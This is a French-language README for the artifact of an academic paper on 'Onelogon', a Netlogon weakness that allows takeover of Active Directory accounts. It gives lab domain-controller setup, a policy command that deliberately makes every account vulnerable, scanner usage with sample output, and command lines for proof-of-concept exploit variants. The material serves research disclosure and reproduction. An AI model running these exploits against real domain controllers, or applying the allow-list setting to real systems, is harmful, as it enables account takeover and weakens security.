
Code et données pour notre article « Onelogon : prise de contrôle de comptes Active Directory via Netlogon » (WOOT’26).
Ce dépôt contient le code et les données accompagnant notre article Onelogon : Prendre le contrôle de comptes Active Directory via Netlogon (WOOT'26).
La vulnérabilité décrite dans notre article attaque une faiblesse du correctif cryptographique de 2020 pour la vulnérabilité Zerologon. Les comptes listés dans une stratégie de groupe destinée à permettre la prise en charge de configurations héritées qui ne prennent pas en charge la signature et le scellement Netlogon sont vulnérables à cette attaque. Une description détaillée de la vulnérabilité, de la chaîne d'attaque complète attendue et des mesures d'atténuation possibles se trouve dans l'article.
@inproceedings{woot2026-onelogon,
title = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
author = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
date = {2026-08},
editor = {Bianchi, Antonio and Classen, Jiska},
location = {Baltimore, MD, USA},
publisher = {USENIX Association}
}
L'artefact consiste en un projet Python poetry pour le scanner et les exploits.
Pour exécuter les scripts fournis avec l'artefact, installez Python (3.12 ou ultérieur) ainsi que poetry (instructions) ou uv (instructions). Par souci de simplicité, nous listons les commandes en supposant que vous utilisez poetry ; si vous choisissez d'utiliser uv, remplacez simplement toute mention de poetry par uv.
Toutes les commandes de ce document doivent être exécutées dans le répertoire racine de l'artefact (là où se trouve ce README).
Si vous utilisez poetry, exécutez poetry install pour installer toutes les dépendances.
Pour reproduire les résultats de l'article, vous pouvez configurer un contrôleur de domaine en utilisant une version de Windows Server avec Zerologon corrigé (nous avons vérifié l'exploit contre les versions 2019 et 2025).
Pour configurer le contrôleur de domaine sur une nouvelle installation de Windows Server 2025, exécutez les commandes suivantes :
# Mettre à jour le système et renommer l'ordinateur en « DC »
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart
# Configurer le domaine (en tant que « onelogon.local »)
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"
# Désactiver l'expiration du mot de passe de l'Administrateur pour garder la VM utilisable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
La vulnérabilité s'applique à tout compte listé dans la DACL de l'objet de stratégie de groupe Domain Controller : Allow vulnerable Netlogon secure channel connections ou dans la clé de registre correspondante :
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList
Vous pouvez configurer manuellement ces paramètres sur le contrôleur de domaine (n'oubliez pas d'exécuter gpupdate /force si vous mettez à jour l'entrée GPO), ou exécuter la commande suivante pour ajouter tous les comptes à la DACL dans la clé de registre :
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
-Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
-ValueName "VulnerableChannelAllowList" `
-Type String `
-Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
Pour déterminer quels comptes un contrôleur de domaine liste dans sa VulnerableChannelAllowList, nous fournissons un scanner qui analyse la ruche de registre et le partage de volume SYSVOL du contrôleur de domaine.
Notez que l'accès au registre pour cette analyse requiert des privilèges d'administrateur de domaine (l'exploit, bien entendu, n'en requiert pas).
# Utiliser le nom d'utilisateur et le mot de passe spécifiés pour analyser le DC cible.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>
# Spécifier `--help` pour obtenir des instructions d'utilisation supplémentaires.
poetry run scan --help
Un résultat d'analyse positif (des comptes vulnérables existent sur le contrôleur de domaine) reflètera le descripteur de sécurité contenant les comptes vulnérables (dans le langage de définition des descripteurs de sécurité de Microsoft) :
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
Un résultat négatif (le DC cible n'est pas vulnérable) ressemblera plutôt à ceci :
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
- The system cannot find the file specified.
Pour exécuter l'exploit de preuve de concept contre un contrôleur de domaine cible, sélectionnez d'abord un compte vulnérable. Vous aurez besoin de l'adresse IP du contrôleur de domaine, de son nom d'hôte et du nom du compte vulnérable.
Dans notre configuration d'exemple, le contrôleur de domaine vulnérable s'appelle DC.
Son compte d'ordinateur (DC$) est inclus dans la stratégie GPO et est donc vulnérable à Onelogon.
# Exécuter l'attaque meet-in-the-middle (section 4.5 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
# Exécuter la force brute 24 bits avec un compte d'ordinateur (section 4.4 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Exécuter la force brute 32 bits (lente) avec un compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
# Exécuter la force brute 32 bits (très lente) sans compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
À titre d'illustration, nous fournissons la sortie d'une exécution réussie de l'attaque meet-in-the-middle contre un environnement de test :